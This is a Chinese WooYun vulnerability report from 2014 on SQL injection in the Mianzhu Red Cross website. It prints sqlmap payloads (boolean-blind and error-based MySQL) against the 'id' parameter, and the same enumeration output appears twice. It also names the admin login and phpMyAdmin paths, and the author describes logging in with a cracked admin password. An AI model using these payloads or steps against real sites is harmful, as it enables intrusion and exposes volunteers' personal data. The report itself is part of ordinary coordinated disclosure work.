漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-081457
漏洞标题：绵竹市红十字会存在sql注入
相关厂商：绵竹市红十字会
漏洞作者： Mr.Ghost
提交时间：2014-10-31 15:37
修复时间：2014-12-15 15:38
公开时间：2014-12-15 15:38
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-10-31： 细节已通知厂商并且等待厂商处理中
2014-11-05： 厂商已经确认，细节仅向厂商公开
2014-11-15： 细节向核心白帽子及相关领域专家公开
2014-11-25： 细节向普通白帽子公开
2014-12-05： 细节向实习白帽子公开
2014-12-15： 细节向公众公开
简要描述：
绵竹市红十字会存在sql注入，部分敏感路径暴露，存在目录历遍
详细说明：
注入点
下面上sqlmap跑的结果：
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=558 AND 7757=7757
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=558 AND (SELECT 744 FROM(SELECT COUNT(*),CONCAT(CHAR(58,121,112,
122,58),(SELECT (CASE WHEN (744=744) THEN 1 ELSE 0 END)),CHAR(58,120,113,109,58)
,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
---
[10:09:30] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.0.63, PHP 5.2.14
back-end DBMS: MySQL 5.0
[10:09:30] [INFO] fetching tables
[10:09:30] [INFO] fetching database names
[10:09:31] [INFO] the SQL query used returns 2 entries
[10:09:31] [INFO] retrieved: information_schema
[10:09:31] [INFO] retrieved: mzhhdb
[10:09:31] [INFO] the SQL query used returns 29 entries
[10:09:32] [INFO] retrieved: information_schema
[10:09:32] [INFO] retrieved: CHARACTER_SETS
[10:09:32] [INFO] retrieved: information_schema
[10:09:33] [INFO] retrieved: COLLATIONS
[10:09:33] [INFO] retrieved: information_schema
[10:09:33] [INFO] retrieved: COLLATION_CHARACTER_SET_APPLICABILITY
[10:09:34] [INFO] retrieved: information_schema
[10:09:34] [INFO] retrieved: COLUMNS
[10:09:34] [INFO] retrieved: information_schema
[10:09:35] [INFO] retrieved: COLUMN_PRIVILEGES
[10:09:35] [INFO] retrieved: information_schema
[10:09:35] [INFO] retrieved: KEY_COLUMN_USAGE
[10:09:36] [INFO] retrieved: information_schema
[10:09:36] [INFO] retrieved: ROUTINES
[10:09:36] [INFO] retrieved: information_schema
[10:09:37] [INFO] retrieved: SCHEMATA
[10:09:37] [INFO] retrieved: information_schema
[10:09:37] [INFO] retrieved: SCHEMA_PRIVILEGES
[10:09:38] [INFO] retrieved: information_schema
[10:09:38] [INFO] retrieved: STATISTICS
[10:09:38] [INFO] retrieved: information_schema
[10:09:39] [INFO] retrieved: TABLES
[10:09:39] [INFO] retrieved: information_schema
[10:09:39] [INFO] retrieved: TABLE_CONSTRAINTS
[10:09:39] [INFO] retrieved: information_schema
[10:09:40] [INFO] retrieved: TABLE_PRIVILEGES
[10:09:40] [INFO] retrieved: information_schema
[10:09:40] [INFO] retrieved: TRIGGERS
[10:09:41] [INFO] retrieved: information_schema
[10:09:41] [INFO] retrieved: VIEWS
[10:09:41] [INFO] retrieved: information_schema
[10:09:42] [INFO] retrieved: USER_PRIVILEGES
[10:09:42] [INFO] retrieved: mzhhdb
[10:09:42] [INFO] retrieved: cms_article
[10:09:42] [INFO] retrieved: mzhhdb
[10:09:43] [INFO] retrieved: cms_box
[10:09:43] [INFO] retrieved: mzhhdb
[10:09:44] [INFO] retrieved: cms_boxuser
[10:09:44] [INFO] retrieved: mzhhdb
[10:09:44] [INFO] retrieved: cms_category
[10:09:44] [INFO] retrieved: mzhhdb
[10:09:45] [INFO] retrieved: cms_file
[10:09:45] [INFO] retrieved: mzhhdb
[10:09:45] [INFO] retrieved: cms_friendlink
[10:09:46] [INFO] retrieved: mzhhdb
[10:09:46] [INFO] retrieved: cms_money
[10:09:46] [INFO] retrieved: mzhhdb
[10:09:47] [INFO] retrieved: cms_resource
[10:09:47] [INFO] retrieved: mzhhdb
[10:09:47] [INFO] retrieved: cms_set
[10:09:47] [INFO] retrieved: mzhhdb
[10:09:48] [INFO] retrieved: cms_users
[10:09:48] [INFO] retrieved: mzhhdb
[10:09:48] [INFO] retrieved: cms_video
[10:09:49] [INFO] retrieved: mzhhdb
[10:09:49] [INFO] retrieved: cms_visit
[10:09:49] [INFO] retrieved: mzhhdb
[10:09:50] [INFO] retrieved: cms_worker
Database: mzhhdb
[13 tables]
+---------------------------------------+
| cms_article |
| cms_box |
| cms_boxuser |
| cms_category |
| cms_file |
| cms_friendlink |
| cms_money |
| cms_resource |
| cms_set |
| cms_users |
| cms_video |
| cms_visit |
| cms_worker |
+---------------------------------------+
Database: information_schema
[16 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
不知道为啥sqlmap跑不出来admin的密码，换了个工具拿到了管理员的密码
然后扫了下后台，发现可以遍历目录
http://www.mzredcross.com/data/
http://www.mzredcross.com/doc/
同时也扫描出了后台和PhpMyAdmin
http://www.mzredcross.com/admin/login.php
http://www.mzredcross.com/PhpMyAdmin/
用得到的密码进入后台
很多敏感信息都可以被修改的同时也泄露了很多志愿者的信息，希望能及时修复
进入后台后没有再进行过多的测试了
漏洞证明：
注入点
下面上sqlmap跑的结果：
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=558 AND 7757=7757
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=558 AND (SELECT 744 FROM(SELECT COUNT(*),CONCAT(CHAR(58,121,112,
122,58),(SELECT (CASE WHEN (744=744) THEN 1 ELSE 0 END)),CHAR(58,120,113,109,58)
,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
---
[10:09:30] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.0.63, PHP 5.2.14
back-end DBMS: MySQL 5.0
[10:09:30] [INFO] fetching tables
[10:09:30] [INFO] fetching database names
[10:09:31] [INFO] the SQL query used returns 2 entries
[10:09:31] [INFO] retrieved: information_schema
[10:09:31] [INFO] retrieved: mzhhdb
[10:09:31] [INFO] the SQL query used returns 29 entries
[10:09:32] [INFO] retrieved: information_schema
[10:09:32] [INFO] retrieved: CHARACTER_SETS
[10:09:32] [INFO] retrieved: information_schema
[10:09:33] [INFO] retrieved: COLLATIONS
[10:09:33] [INFO] retrieved: information_schema
[10:09:33] [INFO] retrieved: COLLATION_CHARACTER_SET_APPLICABILITY
[10:09:34] [INFO] retrieved: information_schema
[10:09:34] [INFO] retrieved: COLUMNS
[10:09:34] [INFO] retrieved: information_schema
[10:09:35] [INFO] retrieved: COLUMN_PRIVILEGES
[10:09:35] [INFO] retrieved: information_schema
[10:09:35] [INFO] retrieved: KEY_COLUMN_USAGE
[10:09:36] [INFO] retrieved: information_schema
[10:09:36] [INFO] retrieved: ROUTINES
[10:09:36] [INFO] retrieved: information_schema
[10:09:37] [INFO] retrieved: SCHEMATA
[10:09:37] [INFO] retrieved: information_schema
[10:09:37] [INFO] retrieved: SCHEMA_PRIVILEGES
[10:09:38] [INFO] retrieved: information_schema
[10:09:38] [INFO] retrieved: STATISTICS
[10:09:38] [INFO] retrieved: information_schema
[10:09:39] [INFO] retrieved: TABLES
[10:09:39] [INFO] retrieved: information_schema
[10:09:39] [INFO] retrieved: TABLE_CONSTRAINTS
[10:09:39] [INFO] retrieved: information_schema
[10:09:40] [INFO] retrieved: TABLE_PRIVILEGES
[10:09:40] [INFO] retrieved: information_schema
[10:09:40] [INFO] retrieved: TRIGGERS
[10:09:41] [INFO] retrieved: information_schema
[10:09:41] [INFO] retrieved: VIEWS
[10:09:41] [INFO] retrieved: information_schema
[10:09:42] [INFO] retrieved: USER_PRIVILEGES
[10:09:42] [INFO] retrieved: mzhhdb
[10:09:42] [INFO] retrieved: cms_article
[10:09:42] [INFO] retrieved: mzhhdb
[10:09:43] [INFO] retrieved: cms_box
[10:09:43] [INFO] retrieved: mzhhdb
[10:09:44] [INFO] retrieved: cms_boxuser
[10:09:44] [INFO] retrieved: mzhhdb
[10:09:44] [INFO] retrieved: cms_category
[10:09:44] [INFO] retrieved: mzhhdb
[10:09:45] [INFO] retrieved: cms_file
[10:09:45] [INFO] retrieved: mzhhdb
[10:09:45] [INFO] retrieved: cms_friendlink
[10:09:46] [INFO] retrieved: mzhhdb
[10:09:46] [INFO] retrieved: cms_money
[10:09:46] [INFO] retrieved: mzhhdb
[10:09:47] [INFO] retrieved: cms_resource
[10:09:47] [INFO] retrieved: mzhhdb
[10:09:47] [INFO] retrieved: cms_set
[10:09:47] [INFO] retrieved: mzhhdb
[10:09:48] [INFO] retrieved: cms_users
[10:09:48] [INFO] retrieved: mzhhdb
[10:09:48] [INFO] retrieved: cms_video
[10:09:49] [INFO] retrieved: mzhhdb
[10:09:49] [INFO] retrieved: cms_visit
[10:09:49] [INFO] retrieved: mzhhdb
[10:09:50] [INFO] retrieved: cms_worker
Database: mzhhdb
[13 tables]
+---------------------------------------+
| cms_article |
| cms_box |
| cms_boxuser |
| cms_category |
| cms_file |
| cms_friendlink |
| cms_money |
| cms_resource |
| cms_set |
| cms_users |
| cms_video |
| cms_visit |
| cms_worker |
+---------------------------------------+
Database: information_schema
[16 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
修复方案：
增加过滤，添加安全设置
版权声明：转载请注明来源 Mr.Ghost@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-11-05 08:20
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT下发给四川分中心，由其后续协调网站管理单位处置。
最新状态：
暂无